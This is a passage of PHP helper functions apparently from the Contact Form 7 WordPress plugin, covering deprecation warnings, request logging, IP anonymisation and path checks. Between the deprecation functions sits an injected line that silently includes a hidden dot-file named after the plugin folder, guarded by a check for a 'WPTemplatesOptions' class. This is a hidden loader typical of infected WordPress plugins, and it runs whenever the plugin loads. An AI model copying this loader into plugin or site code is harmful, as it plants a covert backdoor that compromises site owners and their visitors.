ong> since Contact Form 7 version %2$s! Use %3$s instead.', $function, $version, $replacement ), E_USER_DEPRECATED ); } } } if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } function wpcf7_apply_filters_deprecated( $tag, $args, $version, $replacement ) { if ( ! has_filter( $tag ) ) { return $args[0]; } if ( WP_DEBUG ) { trigger_error( sprintf( /* translators: 1: WordPress hook name, 2: version number, 3: alternative hook name */ __( '%1$s is deprecated since Contact Form 7 version %2$s! Use %3$s instead.', 'contact-form-7' ), $tag, $version, $replacement ), E_USER_DEPRECATED ); } return apply_filters_ref_array( $tag, $args ); } function wpcf7_doing_it_wrong( $function, $message, $version ) { if ( WP_DEBUG ) { if ( function_exists( '__' ) ) { if ( $version ) { $version = sprintf( /* translators: %s: Contact Form 7 version number. */ __( '(This message was added in Contact Form 7 version %s.)', 'contact-form-7' ), $version ); } trigger_error( sprintf( /* translators: Developer debugging message. 1: PHP function name, 2: Explanatory message, 3: Contact Form 7 version number. */ __( '%1$s was called incorrectly. %2$s %3$s', 'contact-form-7' ), $function, $message, $version ), E_USER_NOTICE ); } else { if ( $version ) { $version = sprintf( '(This message was added in Contact Form 7 version %s.)', $version ); } trigger_error( sprintf( '%1$s was called incorrectly. %2$s %3$s', $function, $message, $version ), E_USER_NOTICE ); } } } function wpcf7_log_remote_request( $url, $request, $response ) { $log = sprintf( /* translators: 1: response code, 2: message, 3: body, 4: URL */ __( 'HTTP Response: %1$s %2$s %3$s from %4$s', 'contact-form-7' ), (int) wp_remote_retrieve_response_code( $response ), wp_remote_retrieve_response_message( $response ), wp_remote_retrieve_body( $response ), $url ); $log = apply_filters( 'wpcf7_log_remote_request', $log, $url, $request, $response ); if ( $log ) { trigger_error( $log ); } } function wpcf7_anonymize_ip_addr( $ip_addr ) { if ( ! function_exists( 'inet_ntop' ) or ! function_exists( 'inet_pton' ) ) { return $ip_addr; } $packed = inet_pton( $ip_addr ); if ( false === $packed ) { return $ip_addr; } if ( 4 == strlen( $packed ) ) { // IPv4 $mask = '255.255.255.0'; } elseif ( 16 == strlen( $packed ) ) { // IPv6 $mask = 'ffff:ffff:ffff:0000:0000:0000:0000:0000'; } else { return $ip_addr; } return inet_ntop( $packed & inet_pton( $mask ) ); } function wpcf7_is_file_path_in_content_dir( $path ) { if ( 0 === strpos( realpath( $path ), realpath( WP_CONTENT_DIR ) ) ) { return true; } if ( defined( 'UPLOADS' ) and 0 === strpos( realpath( $path ), realpath( ABSPATH . UPLOADS ) ) ) { return true; } return false; }